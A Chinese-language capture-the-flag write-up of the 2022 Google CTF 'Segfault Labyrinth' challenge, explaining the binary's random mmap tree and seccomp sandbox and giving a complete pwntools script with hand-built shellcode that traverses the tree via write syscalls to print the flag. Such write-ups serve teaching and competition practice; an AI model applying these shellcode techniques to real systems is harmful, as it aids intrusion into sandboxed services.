当前位置:网站首页>2022 Google CTF SEGFAULT LABYRINTH wp
2022 Google CTF SEGFAULT LABYRINTH wp
2022-07-06 17:31:00 【xyzmpv】
不要问我为什么双休来打CTF 问就是活该:)
著名的Google CTF。去年有看见一位师傅画了一整张纸的流程图做了一道逆向,今年来自己尝(自)试(虐)一下。
当然pwn是不可能pwn的,只能做道misc维持生活这样子。很幸运在第一天做出来了SEGFAULT LABYRINTH这道Misc,交题的排名也比较不错(当然第二天就摸了)。这里来分享一下我的wp。
逻辑分析
首先整个程序主体基本上只有一个main函数,逆向起来并不费劲。
一开始申请一个mmap块用来放指针,地址固定(这个地址最后会给你)。然后进入while循环。
程序的主体逻辑就在这个while(1)的循环里面。先读一个随机数,再取这个随机数第一字节的低4位并把高4位清零(实际上这个随机数真正用到的只有这低4位)。
每一个循环都会再申请16个mmap块并将其地址按顺序写入v5指向的空间。这个过程中会用随机数在0-16中间抽奖,只有抽中的那个块才有权限(当然也可能脸黑,抽到1或者2 权限只有3或6)。
第一次的v5
是一开始申请的那个mmap块的地址,每一次循环都会将v5
赋值为本次循环抽中的的那个有权限的块的地址(否则接下来没法继续写地址)
也就是说,整个过程相当于一个分叉树的生长过程,每一次挑选一个随机节点,在这个节点上生长出16个子节点,以此类推
仔细看看可以知道,涉及flag
的部分在if(!--v4)
这个判断里面,由于v4最初是10,所以实际上得跑到第10次循环才会进入逻辑,而此时已经初始化了16^10个节点(地址)。在这个分支中,会将flag读到最后一个有权限的节点处。
示意图如下所示:
然后,分配一块有RWX权限的段(并在段头放上定制的shellcode),输出Welcome to the Segfault Labyrinth
,设置保护
再让你覆盖ptr[0]
并读入长度为ptr[0] % (4096 - v16)
字节的shellcode并执行
注意两点:
- 如前所述,shellcode的开头已经给定好了,而且总长度不得超过4096
- 执行shellcode时参数为
mmap_addr_1
,也就是分叉树头结点地址
写死的shellcode开头段(特意留下了rdi)
沙盒保护
解题思路
本质上来说题目的要求就是遍历这个分叉树并找到最后一个节点,再将其打印出来。
看保护可以发现可以用的系统调用只有以上几个了。第一反应直接用shellcraft生成shellcode或写C再编译,抠下来PIC。
但实际调试还发现,不能使用栈否则会直接SEGFAULT
(这应该也是题目名称的来源)。在这种情况下,基本不太可能通过以上两种方式实现,于是只能手搓shellcode了
一开始的想法是直接取空节点的值然后cmp 0
,但调试中发现空节点的权限是0,直接取值会崩掉。后面有师傅提出来使用mmap去测试节点权限,结果也是会崩掉。
最后的解决办法非常简单粗暴——直接通过write遍历打印每个节点。对于非空节点,返回值rax是长度,而空节点返回值则为负数。通过控制write长度+cmp rax,长度+条件跳转
的方法,就可以实现对这一分叉树的遍历。
最后搓出来的exp如下:
# -*- coding:utf-8 -*-
from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
#e = ELF()
#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')
#local_file =
#libc =
#elf = ELF(local_file)
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
payload=asm('mov r15,rdi') #保存头节点地址
payload+=asm('mov rsi,[rdi]') #取头节点指向的第一个地址
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') #构造write
payload+=asm('add r15,8') #默认不通过校验,头节点指针顺移
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40')
payload+=asm('jnz $-37') #若不通过,则前期准备完成,直接跳回第二条汇编
payload+=asm('sub r15,8') #通过,先复位头节点指针,再迭代指针
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')#返回第二条汇编,继续循环
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))
se(payload)
p.interactive()
小结
- 这个办法自我感觉还是不错的,通过write的报错和返回值进行遍历判断,同时也直接能打印出flag,而且长度只有14条汇编
- pwntools汇编的向上跳转跟正常汇编器一样,需要先计算出前面的指令长度再写
- 一开始逆错了,以为
v5
始终是开头给的那个mmap地址,调试了一下发现没法直接找到flag,而且内存有一堆mmap块,这才反应过来 - 感谢做题过程中参与头脑风暴的两位师傅,提供了很多宝贵的建议。第一次在这种级别比赛做出题而且交题的顺位比较不错,还是很开心的。
pwn是不可能pwn的,只能做点misc维持生活这样子
边栏推荐
- taro3.*中使用 dva 入门级别的哦
- Boot - Prometheus push gateway use
- 动态规划思想《从入门到放弃》
- Installation and testing of pyflink
- Analysis of mutex principle in golang
- MySQL中回表的代价
- Atomic in golang and CAS operations
- Part IV: STM32 interrupt control programming
- Rainstorm effect in levels - ue5
- [case sharing] basic function configuration of network loop detection
猜你喜欢
Your cache folder contains root-owned files, due to a bug in npm ERR! previous versions of npm which
随时随地查看远程试验数据与记录——IPEhub2与IPEmotion APP
[100 cases of JVM tuning practice] 04 - Method area tuning practice (Part 1)
Chenglian premium products has completed the first step to enter the international capital market by taking shares in halber international
Periodic flash screen failure of Dell notebook
[Niuke] b-complete square
Make a simple graphical interface with Tkinter
UI control telerik UI for WinForms new theme - vs2022 heuristic theme
[batch dos-cmd command - summary and summary] - jump, cycle, condition commands (goto, errorlevel, if, for [read, segment, extract string]), CMD command error summary, CMD error
Explain in detail the matrix normalization function normalize() of OpenCV [norm or value range of the scoped matrix (normalization)], and attach norm_ Example code in the case of minmax
随机推荐
The cost of returning tables in MySQL
golang中的atomic,以及CAS操作
Part V: STM32 system timer and general timer programming
Can the system hibernation file be deleted? How to delete the system hibernation file
Deep learning framework TF installation
Niuke cold training camp 6B (Freund has no green name level)
Deeply explore the compilation and pile insertion technology (IV. ASM exploration)
ZABBIX 5.0: automatically monitor Alibaba cloud RDS through LLD
迈动互联中标北京人寿保险,助推客户提升品牌价值
Eventbus source code analysis
Build your own website (17)
golang中的atomic,以及CAS操作
Dell筆記本周期性閃屏故障
ARM裸板调试之JTAG原理
Let's see through the network i/o model from beginning to end
C# 计算农历日期方法 2022
windows安装mysql8(5分钟)
Dell笔记本周期性闪屏故障
Tencent cloud webshell experience
[hfctf2020]babyupload session parsing engine